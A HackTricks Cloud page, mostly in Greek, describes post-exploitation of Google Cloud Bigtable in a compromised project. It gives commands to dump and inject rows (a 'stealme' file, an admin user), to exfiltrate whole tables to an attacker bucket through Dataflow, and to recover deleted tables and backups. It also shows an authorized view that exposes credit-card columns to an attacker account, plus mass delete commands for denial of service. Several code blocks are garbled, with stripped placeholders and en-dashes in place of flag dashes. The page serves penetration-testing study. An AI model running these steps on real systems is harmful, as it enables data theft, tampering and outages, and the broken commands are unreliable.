GCP - Bigtable Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Bigtable

Για περισσότερες πληροφορίες σχετικά με το Bigtable δείτε:

GCP - Bigtable Enum

Tip

Εγκαταστήστε το cbt CLI μία φορά μέσω του Cloud SDK ώστε οι παρακάτω εντολές να λειτουργούν τοπικά:

Εγκαταστήστε το cbt CLI
gcloud components install cbt

Ανάγνωση γραμμών

Δικαιώματα: bigtable.tables.readRows

cbt συμπεριλαμβάνεται στο Cloud SDK και επικοινωνεί με τα admin/data APIs χωρίς να χρειάζεται μεσολαβητικό λογισμικό. Κατευθύνετέ το στο compromised project/instance και dump τις γραμμές απευθείας από τον πίνακα. Περιορίστε το scan αν χρειάζεστε μόνο μια ματιά.

Ανάγνωση εγγραφών Bigtable ```bash # Install cbt gcloud components update gcloud components install cbt

Read entries with creds of gcloud

cbt -project= -instance= read

</details>

### Εγγραφή γραμμών

**Δικαιώματα:** `bigtable.tables.mutateRows`, (θα χρειαστείτε `bigtable.tables.readRows` για να επιβεβαιώσετε την αλλαγή).

Χρησιμοποιήστε το ίδιο εργαλείο για να upsert αυθαίρετα κελιά. Αυτός είναι ο ταχύτερος τρόπος για να backdoor configs, drop web shells, ή plant poisoned dataset rows.

<details>

<summary>Inject malicious row</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337

cbt set δέχεται raw bytes μέσω της σύνταξης @/path, οπότε μπορείτε να μεταφέρετε compiled payloads ή serialized protobufs ακριβώς όπως τα περιμένουν οι downstream services.

Εξαγωγή γραμμών στο bucket σας

Δικαιώματα: dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs

Είναι δυνατό να exfiltrate τα περιεχόμενα ολόκληρου πίνακα σε ένα bucket που ελέγχεται από τον attacker, εκκινώντας μια Dataflow job που streamάρει τις γραμμές σε ένα GCS bucket που έχετε υπό έλεγχο.

Note

Σημειώστε ότι θα χρειαστείτε το δικαίωμα iam.serviceAccounts.actAs πάνω σε κάποιο SA με επαρκή δικαιώματα για να πραγματοποιηθεί η εξαγωγή (εξ ορισμού, αν δεν αναφέρεται διαφορετικά, θα χρησιμοποιηθεί το default compute SA).

Εξαγωγή Bigtable σε GCS bucket ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ --project= \ --region= \ --parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ --staging-location=gs:///staging/

Example

gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/

</details>

> [!NOTE]
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.

### Εισαγωγή σειρών

**Δικαιώματα:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Είναι δυνατόν να εισαχθούν τα περιεχόμενα ενός ολόκληρου πίνακα από ένα bucket που ελέγχεται από τον επιτιθέμενο, εκκινώντας μια εργασία Dataflow που στέλνει σειρές σε ένα GCS bucket που ελέγχετε. Για αυτό ο επιτιθέμενος θα χρειαστεί πρώτα να δημιουργήσει ένα parquet αρχείο με τα δεδομένα που θα εισαχθούν με το αναμενόμενο σχήμα. Ένας επιτιθέμενος θα μπορούσε πρώτα να εξάγει τα δεδομένα σε μορφή parquet ακολουθώντας την προηγούμενη τεχνική με τη ρύθμιση `Cloud_Bigtable_to_GCS_Parquet` και να προσθέσει νέες εγγραφές στο κατεβασμένο parquet αρχείο.



> [!NOTE]
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).

<details>

<summary>Εισαγωγή από GCS bucket σε Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/

Επαναφορά αντιγράφων ασφαλείας

Δικαιώματα: bigtable.backups.restore, bigtable.tables.create.

Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να επαναφέρει ένα αντίγραφο ασφαλείας σε νέο πίνακα υπό τον έλεγχό του, ώστε να ανακτήσει παλιά ευαίσθητα δεδομένα.

Επαναφορά backup του Bigtable ```bash gcloud bigtable backups list --instance= \ --cluster=

gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>

</details>

### Επαναφορά διαγραμμένων πινάκων

**Δικαιώματα:** `bigtable.tables.undelete`

Το Bigtable υποστηρίζει soft-deletion με μια περίοδο χάριτος (συνήθως 7 ημέρες από προεπιλογή). Κατά τη διάρκεια αυτού του διαστήματος, ένας attacker με το δικαίωμα `bigtable.tables.undelete` μπορεί να επαναφέρει έναν πρόσφατα διαγραμμένο πίνακα και να ανακτήσει όλα τα δεδομένα του, ενδεχομένως αποκτώντας πρόσβαση σε ευαίσθητες πληροφορίες που θεωρούνταν καταστραμμένες.

Αυτό είναι ιδιαίτερα χρήσιμο για:
- Ανάκτηση δεδομένων από πίνακες που διαγράφηκαν από defenders κατά τη διάρκεια του incident response
- Πρόσβαση σε ιστορικά δεδομένα που εκκαθαρίστηκαν σκόπιμα
- Αντιστροφή τυχαίων ή κακόβουλων διαγραφών για τη διατήρηση της persistence

<details>

<summary>Επαναφορά διαγραμμένου πίνακα Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>

Note

Η λειτουργία undelete λειτουργεί μόνο εντός της ρυθμισμένης περιόδου διατήρησης (προεπιλογή 7 ημερών). Αφού λήξει αυτό το διάστημα, ο πίνακας και τα δεδομένα του διαγράφονται οριστικά και δεν μπορούν να ανακτηθούν με αυτήν τη μέθοδο.

Δημιουργία Authorized Views

Δικαιώματα: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows

Authorized views σας επιτρέπουν να παρουσιάσετε ένα επιλεγμένο υποσύνολο του πίνακα. Αντί να τηρείτε την αρχή του ελάχιστου προνομίου, χρησιμοποιήστε τα για να δημοσιεύσετε ακριβώς τα ευαίσθητα σύνολα στηλών/γραμμών που σας ενδιαφέρουν και να βάλετε whitelist τον δικό σας principal.

Warning

Το θέμα είναι ότι για να δημιουργήσετε ένα authorized view χρειάζεται επίσης να μπορείτε να διαβάσετε και να τροποποιήσετε γραμμές στον βασικό πίνακα, επομένως δεν αποκτάτε κανένα επιπλέον δικαίωμα, γι’ αυτό αυτή η τεχνική είναι κατά κύριο λόγο άχρηστη.

Δημιουργία authorized view ```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOF

gcloud bigtable authorized-views create card-dump
–instance= –table=
–definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance= –table=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’

</details>

Επειδή η πρόσβαση περιορίζεται στην προβολή, οι αμυνόμενοι συχνά παραβλέπουν το γεγονός ότι μόλις δημιουργήσατε ένα νέο endpoint υψηλής ευαισθησίας.

### Ανάγνωση Authorized Views

**Δικαιώματα:** `bigtable.authorizedViews.readRows`

Εάν έχετε πρόσβαση σε Authorized View, μπορείτε να διαβάσετε δεδομένα από αυτό χρησιμοποιώντας τις Bigtable client libraries, καθορίζοντας το όνομα του authorized view στις αιτήσεις ανάγνωσής σας. Σημειώστε ότι το authorized view πιθανότατα θα περιορίζει τι μπορείτε να προσπελάσετε από τον πίνακα. Παρακάτω υπάρχει ένα παράδειγμα σε Python:

<details>

<summary>Ανάγνωση από authorized view (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")

Άρνηση υπηρεσίας μέσω λειτουργιών διαγραφής

Δικαιώματα: bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete

Οποιοδήποτε από τα δικαιώματα διαγραφής του Bigtable μπορεί να εκμεταλλευτεί για επιθέσεις άρνησης υπηρεσίας. Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να διαταράξει τις λειτουργίες διαγράφοντας κρίσιμους πόρους του Bigtable:

  • bigtable.appProfiles.delete: Διαγραφή προφίλ εφαρμογών, διακόπτοντας συνδέσεις πελατών και ρυθμίσεις δρομολόγησης
  • bigtable.authorizedViews.delete: Αφαίρεση εξουσιοδοτημένων προβολών, αποκόπτοντας νόμιμους δρόμους πρόσβασης για εφαρμογές
  • bigtable.authorizedViews.deleteTagBinding: Αφαίρεση δεσμών ετικετών από εξουσιοδοτημένες προβολές
  • bigtable.backups.delete: Καταστροφή στιγμιότυπων αντιγράφων ασφαλείας, εξαλείφοντας τις επιλογές ανάκαμψης από καταστροφή
  • bigtable.clusters.delete: Διαγραφή ολόκληρων clusters, προκαλώντας άμεση μη διαθεσιμότητα δεδομένων
  • bigtable.instances.delete: Αφαίρεση ολόκληρων instances του Bigtable, διαγράφοντας όλους τους πίνακες και τις ρυθμίσεις
  • bigtable.tables.delete: Διαγραφή μεμονωμένων tables, προκαλώντας απώλεια δεδομένων και αστοχίες εφαρμογών
Διαγραφή πόρων Bigtable ```bash # Delete a table gcloud bigtable instances tables delete \ --instance=

Delete an authorized view

gcloud bigtable authorized-views delete
–instance= –table=

Delete a backup

gcloud bigtable backups delete
–instance= –cluster=

Delete an app profile

gcloud bigtable app-profiles delete
–instance=

Delete a cluster

gcloud bigtable clusters delete
–instance=

Delete an entire instance

gcloud bigtable instances delete

</details>

> [!WARNING]
> Οι ενέργειες διαγραφής είναι συχνά άμεσες και μη αναστρέψιμες. Βεβαιωθείτε ότι υπάρχουν αντίγραφα ασφαλείας πριν δοκιμάσετε αυτές τις εντολές, καθώς μπορούν να προκαλέσουν μόνιμη απώλεια δεδομένων και σοβαρή διακοπή υπηρεσίας.

> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>